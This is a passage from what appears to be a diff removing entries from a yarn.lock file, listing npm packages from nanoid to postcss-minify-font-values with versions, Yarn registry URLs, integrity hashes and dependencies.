"https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.4.tgz#730b67e3cd09e2deacf03c027c81c9d9dbc5e8ab" - integrity sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw== - -negotiator@0.6.3: - version "0.6.3" - resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.3.tgz#58e323a72fedc0d6f9cd4d31fe49f51479590ccd" - integrity sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg== - -neo-async@^2.6.2: - version "2.6.2" - resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f" - integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw== - -no-case@^3.0.4: - version "3.0.4" - resolved "https://registry.yarnpkg.com/no-case/-/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d" - integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg== - dependencies: - lower-case "^2.0.2" - tslib "^2.0.3" - -node-bin-setup@^1.0.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/node-bin-setup/-/node-bin-setup-1.1.0.tgz#9df94c41335a8f41958a639b2736f860582a209c" - integrity sha512-pTeU6NgUrexiLNtd+AKwvg6cngHMvj5FZ5e2bbv2ogBSIc9yhkXSSaTScfSRZnwHIh5YFmYSYlemLWkiKD7rog== - -node-emoji@^1.10.0: - version "1.11.0" - resolved "https://registry.yarnpkg.com/node-emoji/-/node-emoji-1.11.0.tgz#69a0150e6946e2f115e9d7ea4df7971e2628301c" - integrity sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A== - dependencies: - lodash "^4.17.21" - -node-fetch@2.6.7, node-fetch@^2.6.7: - version "2.6.7" - resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.7.tgz#24de9fba827e3b4ae44dc8b20256a379160052ad" - integrity sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ== - dependencies: - whatwg-url "^5.0.0" - -node-forge@^1: - version "1.4.0" - resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-1.4.0.tgz#1c7b7d8bdc2d078739f58287d589d903a11b2fc2" - integrity sha512-LarFH0+6VfriEhqMMcLX2F7SwSXeWwnEAJEsYm5QKWchiVYVvJyV9v7UDvUv+w5HO23ZpQTXDv/GxdDdMyOuoQ== - -node-releases@^2.0.6: - version "2.0.6" - resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.6.tgz#8a7088c63a55e493845683ebf3c828d8c51c5503" - integrity sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg== - -node@^16.18.1: - version "16.18.1" - resolved "https://registry.yarnpkg.com/node/-/node-16.18.1.tgz#72850d416f0fe0d2d06bd65c8ad1297570552366" - integrity sha512-EHMU2CraupSd6ipC/NW7sOwQWHWlTKsbdKD+XTDGAJJ5S/bgyW0hJxyXf6frfTtBFbN+SukmXfPw31QDr3ukSg== - dependencies: - node-bin-setup "^1.0.0" - -normalize-path@^3.0.0, normalize-path@~3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65" - integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== - -normalize-range@^0.1.2: - version "0.1.2" - resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942" - integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA== - -normalize-url@^6.0.1: - version "6.1.0" - resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-6.1.0.tgz#40d0885b535deffe3f3147bec877d05fe4c5668a" - integrity sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A== - -npm-run-path@^4.0.1: - version "4.0.1" - resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea" - integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw== - dependencies: - path-key "^3.0.0" - -nprogress@^0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/nprogress/-/nprogress-0.2.0.tgz#cb8f34c53213d895723fcbab907e9422adbcafb1" - integrity sha512-I19aIingLgR1fmhftnbWWO3dXc0hSxqHQHQb3H8m+K3TnEn/iSeTZZOyvKXWqQESMwuUVnatlCnZdLBZZt2VSA== - -nth-check@^2.0.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-2.1.1.tgz#c9eab428effce36cd6b92c924bdb000ef1f1ed1d" - integrity sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w== - dependencies: - boolbase "^1.0.0" - -object-assign@^4.1.0, object-assign@^4.1.1: - version "4.1.1" - resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863" - integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg== - -object-inspect@^1.9.0: - version "1.12.2" - resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.12.2.tgz#c0641f26394532f28ab8d796ab954e43c009a8ea" - integrity sha512-z+cPxW0QGUp0mcqcsgQyLVRDoXFQbXOwBaqyF7VIgI4TWNQsDHrBpUQslRmIfAoYWdYzs6UlKJtB2XJpTaNSpQ== - -object-keys@^1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e" - integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA== - -object.assign@^4.1.0: - version "4.1.2" - resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940" - integrity sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ== - dependencies: - call-bind "^1.0.0" - define-properties "^1.1.3" - has-symbols "^1.0.1" - object-keys "^1.1.1" - -obuf@^1.0.0, obuf@^1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/obuf/-/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e" - integrity sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg== - -on-finished@2.4.1: - version "2.4.1" - resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f" - integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg== - dependencies: - ee-first "1.1.1" - -on-headers@~1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f" - integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA== - -once@^1.3.0, once@^1.3.1, once@^1.4.0: - version "1.4.0" - resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1" - integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w== - dependencies: - wrappy "1" - -onetime@^5.1.2: - version "5.1.2" - resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e" - integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg== - dependencies: - mimic-fn "^2.1.0" - -open@^8.0.9, open@^8.4.0: - version "8.4.0" - resolved "https://registry.yarnpkg.com/open/-/open-8.4.0.tgz#345321ae18f8138f82565a910fdc6b39e8c244f8" - integrity sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q== - dependencies: - define-lazy-prop "^2.0.0" - is-docker "^2.1.1" - is-wsl "^2.2.0" - -opener@^1.5.2: - version "1.5.2" - resolved "https://registry.yarnpkg.com/opener/-/opener-1.5.2.tgz#5d37e1f35077b9dcac4301372271afdeb2a13598" - integrity sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A== - -p-cancelable@^2.0.0: - version "2.1.1" - resolved "https://registry.yarnpkg.com/p-cancelable/-/p-cancelable-2.1.1.tgz#aab7fbd416582fa32a3db49859c122487c5ed2cf" - integrity sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg== - -p-limit@^2.0.0, p-limit@^2.2.0: - version "2.3.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1" - integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w== - dependencies: - p-try "^2.0.0" - -p-limit@^3.0.2: - version "3.1.0" - resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b" - integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ== - dependencies: - yocto-queue "^0.1.0" - -p-locate@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4" - integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ== - dependencies: - p-limit "^2.0.0" - -p-locate@^4.1.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07" - integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A== - dependencies: - p-limit "^2.2.0" - -p-locate@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834" - integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw== - dependencies: - p-limit "^3.0.2" - -p-map@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b" - integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ== - dependencies: - aggregate-error "^3.0.0" - -p-retry@^4.5.0: - version "4.6.2" - resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-4.6.2.tgz#9baae7184057edd4e17231cee04264106e092a16" - integrity sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ== - dependencies: - "@types/retry" "0.12.0" - retry "^0.13.1" - -p-try@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6" - integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ== - -package-json@^6.3.0: - version "6.5.0" - resolved "https://registry.yarnpkg.com/package-json/-/package-json-6.5.0.tgz#6feedaca35e75725876d0b0e64974697fed145b0" - integrity sha512-k3bdm2n25tkyxcjSKzB5x8kfVxlMdgsbPr0GkZcwHsLpba6cBjqCt1KlcChKEvxHIcTB1FVMuwoijZ26xex5MQ== - dependencies: - got "^9.6.0" - registry-auth-token "^4.0.0" - registry-url "^5.0.0" - semver "^6.2.0" - -param-case@^3.0.4: - version "3.0.4" - resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5" - integrity sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A== - dependencies: - dot-case "^3.0.4" - tslib "^2.0.3" - -parent-module@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2" - integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g== - dependencies: - callsites "^3.0.0" - -parse-entities@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/parse-entities/-/parse-entities-2.0.0.tgz#53c6eb5b9314a1f4ec99fa0fdf7ce01ecda0cbe8" - integrity sha512-kkywGpCcRYhqQIchaWqZ875wzpS/bMKhz5HnN3p7wveJTkTtyAB/AlnS0f8DFSqYW1T82t6yEAkEcB+A1I3MbQ== - dependencies: - character-entities "^1.0.0" - character-entities-legacy "^1.0.0" - character-reference-invalid "^1.0.0" - is-alphanumerical "^1.0.0" - is-decimal "^1.0.0" - is-hexadecimal "^1.0.0" - -parse-json@^5.0.0: - version "5.2.0" - resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd" - integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg== - dependencies: - "@babel/code-frame" "^7.0.0" - error-ex "^1.3.1" - json-parse-even-better-errors "^2.3.0" - lines-and-columns "^1.1.6" - -parse-numeric-range@^1.3.0: - version "1.3.0" - resolved "https://registry.yarnpkg.com/parse-numeric-range/-/parse-numeric-range-1.3.0.tgz#7c63b61190d61e4d53a1197f0c83c47bb670ffa3" - integrity sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ== - -parse5-htmlparser2-tree-adapter@^7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz#23c2cc233bcf09bb7beba8b8a69d46b08c62c2f1" - integrity sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g== - dependencies: - domhandler "^5.0.2" - parse5 "^7.0.0" - -parse5@^6.0.0: - version "6.0.1" - resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b" - integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw== - -parse5@^7.0.0: - version "7.0.0" - resolved "https://registry.yarnpkg.com/parse5/-/parse5-7.0.0.tgz#51f74a5257f5fcc536389e8c2d0b3802e1bfa91a" - integrity sha512-y/t8IXSPWTuRZqXc0ajH/UwDj4mnqLEbSttNbThcFhGrZuOyoyvNBO85PBp2jQa55wY9d07PBNjsK8ZP3K5U6g== - dependencies: - entities "^4.3.0" - -parseurl@~1.3.2, parseurl@~1.3.3: - version "1.3.3" - resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4" - integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ== - -pascal-case@^3.1.2: - version "3.1.2" - resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb" - integrity sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g== - dependencies: - no-case "^3.0.4" - tslib "^2.0.3" - -path-exists@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515" - integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ== - -path-exists@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3" - integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w== - -path-is-absolute@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f" - integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg== - -path-is-inside@1.0.2: - version "1.0.2" - resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53" - integrity sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w== - -path-key@^3.0.0, path-key@^3.1.0: - version "3.1.1" - resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375" - integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q== - -path-parse@^1.0.7: - version "1.0.7" - resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735" - integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw== - -path-to-regexp@0.1.7: - version "0.1.7" - resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c" - integrity sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ== - -path-to-regexp@2.2.1: - version "2.2.1" - resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-2.2.1.tgz#90b617025a16381a879bc82a38d4e8bdeb2bcf45" - integrity sha512-gu9bD6Ta5bwGrrU8muHzVOBFFREpp2iRkVfhBJahwJ6p6Xw20SjT0MxLnwkjOibQmGSYhiUnf2FLe7k+jcFmGQ== - -path-to-regexp@^1.7.0: - version "1.8.0" - resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-1.8.0.tgz#887b3ba9d84393e87a0a0b9f4cb756198b53548a" - integrity sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA== - dependencies: - isarray "0.0.1" - -path-type@^4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b" - integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw== - -picocolors@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.0.0.tgz#cb5bdc74ff3f51892236eaf79d68bc44564ab81c" - integrity sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ== - -picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.3, picomatch@^2.3.1: - version "2.3.2" - resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.2.tgz#5a942915e26b372dc0f0e6753149a16e6b1c5601" - integrity sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA== - -pkg-dir@^4.1.0: - version "4.2.0" - resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3" - integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ== - dependencies: - find-up "^4.0.0" - -pkg-up@^3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5" - integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA== - dependencies: - find-up "^3.0.0" - -postcss-calc@^8.2.3: - version "8.2.4" - resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-8.2.4.tgz#77b9c29bfcbe8a07ff6693dc87050828889739a5" - integrity sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q== - dependencies: - postcss-selector-parser "^6.0.9" - postcss-value-parser "^4.2.0" - -postcss-colormin@^5.3.0: - version "5.3.0" - resolved "https://registry.yarnpkg.com/postcss-colormin/-/postcss-colormin-5.3.0.tgz#3cee9e5ca62b2c27e84fce63affc0cfb5901956a" - integrity sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg== - dependencies: - browserslist "^4.16.6" - caniuse-api "^3.0.0" - colord "^2.9.1" - postcss-value-parser "^4.2.0" - -postcss-convert-values@^5.1.3: - version "5.1.3" - resolved "https://registry.yarnpkg.com/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz#04998bb9ba6b65aa31035d669a6af342c5f9d393" - integrity sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA== - dependencies: - browserslist "^4.21.4" - postcss-value-parser "^4.2.0" - -postcss-discard-comments@^5.1.2: - version "5.1.2" - resolved "https://registry.yarnpkg.com/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz#8df5e81d2925af2780075840c1526f0660e53696" - integrity sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ== - -postcss-discard-duplicates@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz#9eb4fe8456706a4eebd6d3b7b777d07bad03e848" - integrity sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw== - -postcss-discard-empty@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz#e57762343ff7f503fe53fca553d18d7f0c369c6c" - integrity sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A== - -postcss-discard-overridden@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz#7e8c5b53325747e9d90131bb88635282fb4a276e" - integrity sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw== - -postcss-discard-unused@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/postcss-discard-unused/-/postcss-discard-unused-5.1.0.tgz#8974e9b143d887677304e558c1166d3762501142" - integrity sha512-KwLWymI9hbwXmJa0dkrzpRbSJEh0vVUd7r8t0yOGPcfKzyJJxFM8kLyC5Ev9avji6nY95pOp1W6HqIrfT+0VGw== - dependencies: - postcss-selector-parser "^6.0.5" - -postcss-loader@^7.0.0: - version "7.0.1" - resolved "https://registry.yarnpkg.com/postcss-loader/-/postcss-loader-7.0.1.tgz#4c883cc0a1b2bfe2074377b7a74c1cd805684395" - integrity sha512-VRviFEyYlLjctSM93gAZtcJJ/iSkPZ79zWbN/1fSH+NisBByEiVLqpdVDrPLVSi8DX0oJo12kL/GppTBdKVXiQ== - dependencies: - cosmiconfig "^7.0.0" - klona "^2.0.5" - semver "^7.3.7" - -postcss-merge-idents@^5.1.1: - version "5.1.1" - resolved "https://registry.yarnpkg.com/postcss-merge-idents/-/postcss-merge-idents-5.1.1.tgz#7753817c2e0b75d0853b56f78a89771e15ca04a1" - integrity sha512-pCijL1TREiCoog5nQp7wUe+TUonA2tC2sQ54UGeMmryK3UFGIYKqDyjnqd6RcuI4znFn9hWSLNN8xKE/vWcUQw== - dependencies: - cssnano-utils "^3.1.0" - postcss-value-parser "^4.2.0" - -postcss-merge-longhand@^5.1.7: - version "5.1.7" - resolved "https://registry.yarnpkg.com/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz#24a1bdf402d9ef0e70f568f39bdc0344d568fb16" - integrity sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ== - dependencies: - postcss-value-parser "^4.2.0" - stylehacks "^5.1.1" - -postcss-merge-rules@^5.1.3: - version "5.1.3" - resolved "https://registry.yarnpkg.com/postcss-merge-rules/-/postcss-merge-rules-5.1.3.tgz#8f97679e67cc8d08677a6519afca41edf2220894" - integrity sha512-LbLd7uFC00vpOuMvyZop8+vvhnfRGpp2S+IMQKeuOZZapPRY4SMq5ErjQeHbHsjCUgJkRNrlU+LmxsKIqPKQlA== - dependencies: - browserslist "^4.21.4" - caniuse-api "^3.0.0" - cssnano-utils "^3.1.0" - postcss-selector-parser "^6.0.5" - -postcss-minify-font-values@^5.1.0: - version "5.1.0" - resolved 